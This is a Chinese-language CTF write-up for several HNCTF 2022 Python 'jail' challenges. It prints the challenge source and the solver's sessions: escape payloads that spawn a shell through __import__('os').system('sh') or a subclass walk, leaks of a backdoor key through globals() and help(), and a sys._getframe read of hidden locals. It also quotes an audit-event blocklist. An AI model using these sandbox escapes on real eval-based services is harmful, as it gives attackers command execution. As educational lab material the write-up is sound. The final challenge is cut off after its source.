Article Summary
GPT 4

[HNCTF 2022 WEEK2]calc_jail_beginner_level5(JAIL)

 nc node5.anna.nssctf.cn 28780

  _                _                           _       _ _ _                _ _____
 | |              (_)                         (_)     (_) | |              | | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____/
              __/ |                          _/ |
             |___/                          |__/                                       


It's so easy challenge!
Seems flag into the dir()
> __import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
__pycache__  flag  load_flag.py  server.py
$ cat flag
flag=NSSCTF{9f2a7297-f41f-4c04-896d-9384cc5e1b49}

[HNCTF 2022 WEEK2]calc_jail_beginner_level5.1(JAIL)

先试一下 上一个的payload,发现import未被定义。

而dir()发现[‘builtins’, ‘my_flag’],则builtins还在

 nc node5.anna.nssctf.cn 28475

  _                _                           _       _ _ _                _ _____ __
 | |              (_)                         (_)     (_) | |              | | ____/_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__  | |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \ | |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)_|
              __/ |                          _/ |
             |___/                          |__/


It's so easy challenge!
Seems flag into the dir()
> __builtins__
Traceback (most recent call last):
  File "/home/ctf/./server.py", line 42, in <module>
  File "/home/ctf/./server.py", line 31, in main
  File "/home/ctf/./server.py", line 39, in repl
  File "<string>", line 1, in <module>
  File "/usr/lib/python3.10/_sitebuiltins.py", line 61, in __repr__
  File "/usr/lib/python3.10/_sitebuiltins.py", line 50, in __setup
NameError: name 'open' is not defined

发现open被删了

那就Show subclasses with tuple

nc node5.anna.nssctf.cn 28475

  _                _                           _       _ _ _                _ _____ __
 | |              (_)                         (_)     (_) | |              | | ____/_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__  | |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \ | |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)_|
              __/ |                          _/ |
             |___/                          |__/


It's so easy challenge!
Seems flag into the dir()
> ().__class__.__base__.__subclasses__()

在倒数第六个发现 <class ‘os._wrap_close’>

 nc node5.anna.nssctf.cn 28475

  _                _                           _       _ _ _                _ _____ __
 | |              (_)                         (_)     (_) | |              | | ____/_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__  | |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ |___ \ | |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |___) || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)_|
              __/ |                          _/ |
             |___/                          |__/


It's so easy challenge!
Seems flag into the dir()
> ().__class__.__base__.__subclasses__()[-6].__init__.__globals__['system']('sh')
sh: 0: can't access tty; job control turned off
$ ls
__pycache__  flag  load_flag.py  server.py
$ cat  flag
flag=NSSCTF{18906d38-0c29-415c-bfd6-3c1dcd9bb031}

[HNCTF 2022 Week1]lake lake lake(JAIL)

得到附件

#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
 | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

这道题的逻辑是输入1和2分别执行func函数和backdoor函数

func函数有长度限制,backdoor函数没有但是得得到key的值,key显然是一个全局变量,你在func函数输入globals

 nc node5.anna.nssctf.cn 28632

  _       _          _       _          _       _
 | |     | |        | |     | |        | |     | |
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _  | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|


Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 1
>globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f5d28848a90>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7f5d289e7d90>, 'backdoor': <function backdoor at 0x7f5d288a9fc0>, 'WELCOME': '\n  _       _          _       _          _       _        \n | |     | |        | |     | |        | |     | |       \n | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ \n | |/ _` | |/ / _ \\ | |/ _` | |/ / _ \\ | |/ _` | |/ / _  | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/\n |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___|

                            \n', 'input_data': '1'}

得到key’的值: ‘a34af94e88aed5c34fb5ccfe08cd14ab’


nc node5.anna.nssctf.cn 28632

  _       _          _       _          _       _
 | |     | |        | |     | |        | |     | |
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _  | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|


Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>a34af94e88aed5c34fb5ccfe08cd14ab
>__import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
flag  server.py
$ cat flag
flag=NSSCTF{da5f4f8a-3839-4c3c-9dd6-60de30fe299e}

[HNCTF 2022 Week1]l@ke l@ke l@ke(JAIL)

#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>6):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _         _          _         _          _         _        
 | |  ____ | |        | |  ____ | |        | |  ____ | |       
 | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____ 
 | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
 | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
 |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
     \____/               \____/               \____/                                                                                                                                                                                                                                        
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

可知func长度限制dao了6,这时我们就可以试试之前用过的help函数

help()

Welcome to Python 3.10's help utility!

If this is your first time using Python, you should definitely check out
the tutorial on the internet at https://docs.python.org/3.10/tutorial/.

Enter the name of any module, keyword, or topic to get help on writing
Python programs and using Python modules.  To quit this help utility and
return to the interpreter, just type "quit".

To get a list of available modules, keywords, symbols, or topics, type
"modules", "keywords", "symbols", or "topics".  Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as "spam", type "modules spam".

help> __main__
Help on module __main__:

NAME
    __main__

DESCRIPTION
    #it seems have a backdoor as `lake lake lake`
    #but it seems be limited!
    #can u find the key of it and use the backdoor

FUNCTIONS
    backdoor()

    func()

DATA
    WELCOME = '\n  _         _          _         _          _  ...       ...
    __annotations__ = {}
    input_data = '1'
    key_9d38ee7f31d6126d = '95c720690c2c83f0982ffba63ff87338'

FILE
    /home/ctf/server.py

当我吗输入__ main __ 的时候我们会得到该模块的帮助。

然后得到key的值

nc node5.anna.nssctf.cn 28751

  _         _          _         _          _         _
 | |  ____ | |        | |  ____ | |        | |  ____ | |
 | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____
 | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _  | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
 |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
     \____/               \____/               \____/


Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>95c720690c2c83f0982ffba63ff87338
>__import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
__pycache__  flag  server.py
$ cat flag
flag=NSSCTF{eec5b8a6-ca31-42f5-8d72-99d952240b09}

[HNCTF 2022 WEEK2]lak3 lak3 lak3(JAIL)

#Hi hackers,lak3 comes back
#Have a good luck on it! :Wink:

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

WELCOME='''
  _       _    ____    _       _    ____    _       _    ____  
 | |     | |  |___ \  | |     | |  |___ \  | |     | |  |___ \ 
 | | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
 | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ < 
 | | (_| |   < ___) | | | (_| |   < ___) | | | (_| |   < ___) |
 |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/ 
                                                                                                                                                                       
'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print('flag{fake_flag_in_local_but_really_in_The_remote}')
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()

把函数ban掉了,需要猜对数字才能获取flag

显而易见正确答案在right_guesser_question_answer里。

sys._getframe()函数
可以调用栈的帧对象,默认参数为0如果传入0那就会获取eval的调用栈帧,所以需要deep一层

有个小技巧,可以使用__import__(“sys”).stdout.write去进行标准输出,这也是上一个非预期的输出方法。

import(“sys”).stdout.write(str(import(‘sys’)._getframe(1)))

 nc node5.anna.nssctf.cn 28864

  _       _    ____    _       _    ____    _       _    ____
 | |     | |  |___ \  | |     | |  |___ \  | |     | |  |___ \
 | | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
 | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ <
 | | (_| |   < ___) | | | (_| |   < ___) | | | (_| |   < ___) |
 |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/



Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1)))
<frame at 0x7ff87255d590, file '/home/ctf/./server.py', line 31, code guesser>Guess game end!!!

发现’/home/ctf/./server.py‘直接调用f_locals查看变量

nc node5.anna.nssctf.cn 28864

  _       _    ____    _       _    ____    _       _    ____
 | |     | |  |___ \  | |     | |  |___ \  | |     | |  |___ \
 | | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
 | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ <
 | | (_| |   < ___) | | | (_| |   < ___) | | | (_| |   < ___) |
 |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/



Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > __import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))
{'game_score': 0, 'right_guesser_question_answer': 2500207681611, 'challenge_original_stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>}Guess game end!!!

然后构造payload

int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
 nc node5.anna.nssctf.cn 28864

  _       _    ____    _       _    ____    _       _    ____
 | |     | |  |___ \  | |     | |  |___ \  | |     | |  |___ \
 | | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
 | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ <
 | | (_| |   < ___) | | | (_| |   < ___) | | | (_| |   < ___) |
 |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/



Welcome to my guesser game!
Can u guess the number? between 1 and 9999999999999 > int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
you are really super guesser!!!!
NSSCTF{60ab0629-81f1-42cd-9b23-24fb58531aa5}

calc_jail_beginner_level6

 nc node5.anna.nssctf.cn 28599

  _                _                           _       _ _   _                _   __
 | |              (_)                         (_)     (_) | | |              | | / /
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| |/ /_
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ | '_ \
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ | (_) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|\___/
              __/ |                          _/ |
             |___/                          |__/


Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===> builtins.input,builtins.input/result,exec,compile
Some code of python jail:

  dict_global = dict()
    while True:
      try:
          input_data = input("> ")
      except EOFError:
          print()
          break
      except KeyboardInterrupt:
          print('bye~~')
          continue
      if input_data == '':
          continue
      try:
          complie_code = compile(input_data, '<string>', 'single')
      except SyntaxError as err:
          print(err)
          continue
      try:
          exec(complie_code, dict_global)
      except Exception as err:
          print(err)